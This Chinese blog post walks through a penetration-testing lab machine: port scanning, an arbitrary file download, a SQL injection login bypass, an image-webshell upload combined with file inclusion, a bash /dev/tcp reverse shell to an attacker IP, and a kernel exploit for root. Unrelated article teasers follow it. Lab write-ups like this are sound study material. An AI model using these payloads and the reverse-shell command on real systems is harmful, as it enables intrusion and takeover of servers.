记一次靶场实战【网络安全】

news2024/11/27 2:42:19

前言

【一一帮助安全学习一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

一、信息收集

先用nmap扫一下ip。
图片.png

锁定靶机ip为192.168.250.131,接下来扫一扫端口和系统。

图片.png

图片.png

可以得到靶机开放了22和80端口,使用的是Apache2.2.22和Ubuntu,内核是Linux3.2-4.9。

接下来用御剑暴破下目录。

图片.png

从暴破结果可以发现其使用的是php。

二、漏洞挖掘

打开192.168.250.131,出现如下页面。
图片.png

既然其告诉了我们“Show me your SQLI skills”,那就先用admin’or 1=1 # 尝试一下,发现报错。

图片.png

因为我们还有很多其他的暴破出的目录没有看,所以简单尝试失败后就先暂时不考虑这个sql注入的问题,毕竟有可能是靶机作者故意写一段话让我们浪费时间的。

接下来尝试访问后台目录。

首先先尝试第一个test.php,点击进去之后提示“‘file’ parameter is empty. Please provide file path in ‘file’ parameter”,这表明该页面需要一个file的数据,那我们就给它一个文件路径试一下。

考虑到传参方式可能为GET也可能为POST,所以我们两个都要试一下。

用HackBar进行GET请求“http://192.168.250.131/test.php?file=/etc/passwd”,发现并没有反应。

继续使用POST请求,发现文件被成功下载下来了。

图片.png

图片.png

这样就为我们打开了一个突破口。接下来我们就可以将后台文件全部下载下来并进行代码审计工作,看看能不能从中发现些重要信息。

图片.png

这里我主要发现了三个重要的文件。

1、in.php

<?php 
phpinfo();
?>

当我们访问http://192.168.250.131/in.php的时候,可以直接打开phpinfo()。

2、c.php

<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );

ini_set( 'session.cookie_httponly', 1 );

$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");

// Check connection
if (mysqli_connect_errno())
  {
  echo "connection failed ->  " . mysqli_connect_error();
  }
?>

这是数据库连接文件,里边包含了数据库账号密码和库名("billu","b0x_billu","ica_lab")

3、index.php

这个文件是我们刚刚打开的登陆首页,里面有一段代码。

if(isset($_POST['login']))
{
	$uname=str_replace('\'','',urldecode($_POST['un']));
	$pass=str_replace('\'','',urldecode($_POST['ps']));
	$run='select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'';
	$result = mysqli_query($conn, $run);
}

这里给了我们SQL注入的提示。

除此之外,我们还获得了其他没有扫描出来的文件信息,如head2.php,这些文件同样可以下载下来看一看。

关于phpinfo中的信息我们可以稍作留意,接下来主要是根据获得的信息分别尝试SQL注入和登录数据库。

1、SQL注入

首先先查看SQL语句'select * from auth where  pass=\''.$pass.'\' and uname=\''.$uname.'\'',我们把转义以及用来连接的.整理一下,实际上的SQL语句就是select * from auth where  pass='$pass' and uname='$uname'

因此我们可以构造name为or 1=1#,password为\,这样子SQL语句就变为了select * from auth where  pass='\' and uname='or 1=1#',也就完成了登录绕过。

注意,在这里有一个小变化。通常情况下我们是将user放在前,password放在后的,但是进行了调换。如果我们进行黑盒测试并且猜到了可能过滤了单引号,使用name=\,password=or 1=1#这样的方式尝试绕过,也会被阻挡。

这也给了我们一个提示,进行SQL注入黑盒测试的时候可以把用户名和密码调换过来试一试。

2、数据库

除了尝试SQL注入,我们也可以看一下数据库的内容,从中找到用户名密码。但是御剑暴破出的后台路径并没有和数据库相关的目录,因此我们还可以使用dirb的big.txt字典继续暴破一下。

图片.png

最终成功找到了phpmy这个目录,打开之后使用之前获取到的用户名和密码完成登录。

图片.png

最终成功的从auth表中获取到了登陆的用户名和密码。

图片.png

三、反弹Shell

成功登录后,我们发现该Web系统提供了两个功能,一个是列出所用用户,另外一个添加新用户并且上传头像。看到上传图片功能我们就应该想到可能存在文件上传漏洞。与此同时,由于我们下载了对应的文件,因此可以先审计一下上传的规则,具体的文件是panel.php。

if(!empty($_FILES['image']['name']))
	{
		$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
	$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
	$image=array('jpeg','jpg','gif','png');
	if(in_array($r,$image))
	{
		$finfo = @new finfo(FILEINFO_MIME); 
	$filetype = @$finfo->file($_FILES['image']['tmp_name']);
		if(preg_match('/image\/jpeg/',$filetype )  || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
				{
					if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
							 {
							  echo "Uploaded successfully ";
							  $update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')'; 
							 mysqli_query($conn, $update);

							}
				}
			else
			{
				echo "<br>i told you dear, only png,jpg and gif file are allowed";
			}
	}
if(isset($_POST['continue']))
{
	$dir=getcwd();
	$choice=str_replace('./','',$_POST['load']);

	if($choice==='add')
	{
       		include($dir.'/'.$choice.'.php');
			die();
	}

        if($choice==='show')
	{

		include($dir.'/'.$choice.'.php');
		die();
	}
	else
	{
		include($dir.'/'.$_POST['load']);
	}

}

上述两段代码分别描述了文件上传和文件包含两个内容。可以看到文件上传时会对文件后缀和文件类型分别进行判断,此时我们可以利用图片木马的方式进行绕过。与此同时,panel.php还有文件包含漏洞,这也是我们可以利用的。

先做一个图片马上传试试看。

上传成功。

图片.png

图片.png

接下来我们就要利用文件包含漏洞了,还是根据刚刚的代码,我们可以看到首先其对continue进行了判断是否为空,然后对load进行了./的过滤,这也就意味着我们最好不要使用相对路径。分析完这些,我们就可以使用hackbar传个值试一下,例如“load=uploaded_images/muma.gif&continue=continue&try=phpinfo();”

图片.png

可以看到,图片码运行的很好。接下来我们就可以使用多种方法去获得shell并反弹了。

这里,我首先选择的是通过命令echo "bash -i >& /dev/tcp/192.168.250.128/8888 0>&1" | bash来反弹shell。

开启nc的监听,然后通过try=system('echo%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.250.128%2F8888%200%3E%261%22%20%7C%20bash');来反弹shell,需要注意的是命令echo "bash -i >& /dev/tcp/192.168.250.128/8888 0>&1" | bash需要进行url编码,否则里边的双引号可能会导致命令运行不成功。

图片.png

如此操作我们就成功的反弹了shell。

四、提升权限

可以看到我们目前是一个普通用户,即使获取了shell仍然需要进行提权操作。

由于当前的shell并不是很方便我们的后续操作,因此我们可以写入一个蚁剑的木马,使用蚁剑进行连接。

对于提权的方式,因为靶机的操作系统比较老,存在的漏洞可能会更多,因此我选择的是查找内核和操作系统是否存在提权漏洞可以完成权限提升。

图片.png
图片.png

根据对应的ubuntu版本,我们找到了不少可利用的漏洞。

先试试第一个37292.c。

图片.png

成功完成提权。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/143306.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

多元线性回归分析

回归分析&#xff1a;研究X和Y之间相关性的分析回归分析是数据分析中最基础也是最重要的分析工具&#xff0c;绝大多数的数据分析问题&#xff0c;都可以使用回归的思想来解决。回归分析的任务就是&#xff0c;通过研究自变量X和因变量Y的相关关系&#xff0c;尝试去解释Y的形成…

gumbel-softmax的使用、课程学习的使用、有监督的对比学习的使用、无监督的对比学习的使用

一、gumbel-softmax的使用 gumbel-softmax里面的 τ\tauτ值越接近无穷获得的向量越接近一个均匀分布的向量&#xff1b;τ\tauτ值越接近0获得的向量越接近一个one-hard vector&#xff1b;τ\tauτ值越接近1则gumbel-softmax就和softmax越类似 # score&#xff1a;代表序列…

Ubuntu服务器使用NTP功能同步时间

前提&#xff1a; 1. 要明确自己的需求&#xff0c;是设计一个NTP服务器&#xff0c;然后给内网的其他用户提供NTP服务&#xff1f; 2. 还是发现自己Ubuntu系统时间错误&#xff0c;想要同步一个时间进来&#xff1f; 如果是2&#xff0c;继续往下看吧&#xff0c;如果是1&am…

2021年一篇强人工智能论文,基于AGI Brain改进的二代版本

AGI Brain II: The Upgraded Version with Increased Versatility Index返回论文和资料目录 1.论文简介 论文基于19年提出的第一代AGI Brain I 改进。主要有两点改进&#xff0c;1.提出一个AGI指标&#xff0c;2.用Mamdani模糊推理联想记忆代替原本的神经网络NN表示外显记忆&…

字节跳动最爱考的前端面试题:计算机网络基础

注意&#xff1a;每道题前面出现的 (xx) 数字代表这道题出现的频次&#xff0c;此 计算机网络 基础是基于 30 篇前端面经整理出的问题和对应的回答、参考链接等。文章内容为拿到 Offer 的本人整理。 &#xff08;3&#xff09;问&#xff1a;HTTP 缓存 HTTP 缓存又分为强缓存和…

ArcGIS基础实验操作100例--实验55栅格与ASCII转换

本实验专栏参考自汤国安教授《地理信息系统基础实验操作100例》一书 实验平台&#xff1a;ArcGIS 10.6 实验数据&#xff1a;请访问实验1&#xff08;传送门&#xff09; 高级编辑篇--实验55 栅格与ASCII转换 目录 一、实验背景 二、实验数据 三、实验步骤 &#xff08;1&a…

nodejs+vue+element+eachers构建开源项目大型连续剧(3)建立前端基础项目(暂时用的vue2框架)

书接上回&#xff0c;在第二集我们成功安装了mysql数据库&#xff0c;并通过nodejs服务器关联到数据库&#xff0c;并成功更改了数据库中的数据。这一集呢&#xff0c;主要是进行一个前端vue2项目的构建&#xff0c;后面如果大家想要看vue3的话可以后续更新&#xff0c;毕竟现在…

计算机原理二_操作系统概述

目录儿三、操作系统概述3.1 操作系统的基本概念3.1.1 操作系统的概念3.1.2 操作系统的目标和功能3.1.2.1 目标3.1.2.2 功能3.1.3 操作系统的特征3.2 操作系统的发展与分类3.2.1 分类3.3 操作系统的运行环境3.3.1 操作系统的运行机制3.3.1.1 用户态、核心态3.3.1.2 时钟与中断3.…

SLAM初探

SLAM初探 1.视觉SLAM框架 整个视觉SLAM包括以下流程 传感器信息读取&#xff0c;主要是相机图像信息的读取和处理前端视觉里程计&#xff0c;它的任务是估算相邻图像之间相机的运动和局部的地图后端优化&#xff0c;接受不同时刻视觉里程计输出的相机位姿以及回环检测的信息&…

【C++高阶数据结构】LRU

​ &#x1f3c6;个人主页&#xff1a;企鹅不叫的博客 ​ &#x1f308;专栏 C语言初阶和进阶C项目Leetcode刷题初阶数据结构与算法C初阶和进阶《深入理解计算机操作系统》《高质量C/C编程》Linux ⭐️ 博主码云gitee链接&#xff1a;代码仓库地址 ⚡若有帮助可以【关注点赞收藏…

LeetCode刷题复盘笔记—一文搞懂动态规划之583. 两个字符串的删除操作问题(动态规划系列第四十篇)

今日主要总结一下动态规划的一道题目&#xff0c;583. 两个字符串的删除操作 题目&#xff1a;583. 两个字符串的删除操作 Leetcode题目地址 题目描述&#xff1a; 给定两个单词 word1 和 word2 &#xff0c;返回使得 word1 和 word2 相同所需的最小步数。 每步 可以删除任意…

ArcGIS基础实验操作100例--实验56 TIFF与GRID栅格转换

本实验专栏参考自汤国安教授《地理信息系统基础实验操作100例》一书 实验平台&#xff1a;ArcGIS 10.6 实验数据&#xff1a;请访问实验1&#xff08;传送门&#xff09; 高级编辑篇--实验56 TIFF与GRID栅格转换 目录 一、实验背景 二、实验数据 三、实验步骤 &#xff08;…

orika 工具下划线转驼峰不同字段名映射

1.问题: 业务需要把第三方接口的带下划线的字段规范为驼峰的字段 第三方接口的bean对象: public class ObjectsDetail extends XMLElementData implements Serializable {private static final long serialVersionUID 5080447582610246168L;private String objectclass;priv…

用300行Python代码实现一个人脸识别系统源码,基于dlib

用300行Python代码实现一个人脸识别系统 完整代码下载地址&#xff1a;用300行Python代码实现一个人脸识别系统源码&#xff0c;基于dlib 今天我们来python实现一个人脸识别系统&#xff0c;主要是借助了dlib这个库&#xff0c;相当于我们直接调用现成的库来进行人脸识别&…

科技云报道:“大建设”时期,AI算力何去何从?

科技云报道原创。 算力就是生产力&#xff0c;得算力者得天下。 随着新一代人工智能技术的快速发展和突破&#xff0c;以深度学习计算模式为主的AI算力需求呈指数级增长。 数据显示&#xff0c;在1960到2010年间&#xff0c;AI的计算复杂度每两年翻一番&#xff1b;在2010到2…

fastposter v2.11.0 天花板级的海报生成器

fastposter v2.11.0 天花板级的海报生成器 &#x1f525;&#x1f525;&#x1f525; fastposter海报生成器是一款快速开发海报的工具。只需上传一张背景图&#xff0c;在对应的位置放上组件&#xff08;文字、图片、二维&#x1f434;、头像&#xff09;即可生成海报。 点击代…

实验二十一 配置NAT

实验二十一 配置NAT实验要求&#xff1a; 静态NAT: 在Router的公网侧接口GE0/0/1下配置静态NAT&#xff0c;将私有 IP地址 192.168.0.2与公有IP地址202.10.1.3绑定起来。 NAT SERVER的配置 动态NAT和easy IP的配置网络拓扑图&#xff1a;操作步骤&#xff1a;一、静态NAT1、配置…

Actipro-wpf-controls-22.1.4 2023注册版

Actipro WPF 控件 用于构建漂亮的 Windows Presentation Foundation 桌面应用程序的大量 UI 控件 特征 超过 100 个 WPF 控件和组件在各种产品中可用&#xff0c;Ω578867473它们通过丰富的特性和功能改进应用程序的 UI。 受办公室启发的用户界面 复制现代 Office 应用程序的外…

【数据结构】计数排序、基数排序

文章目录计数排序基数排序计数排序 计数排序也是非比较排序的一种&#xff0c;在之前的博客介绍的都是比较排序&#xff0c;跟之前的比较排序相比计数排序并不是很常用&#xff0c;不常用的原因也是它的局限性耗费空间很大&#xff0c;只能对整数进行排序&#xff0c;并且数据在…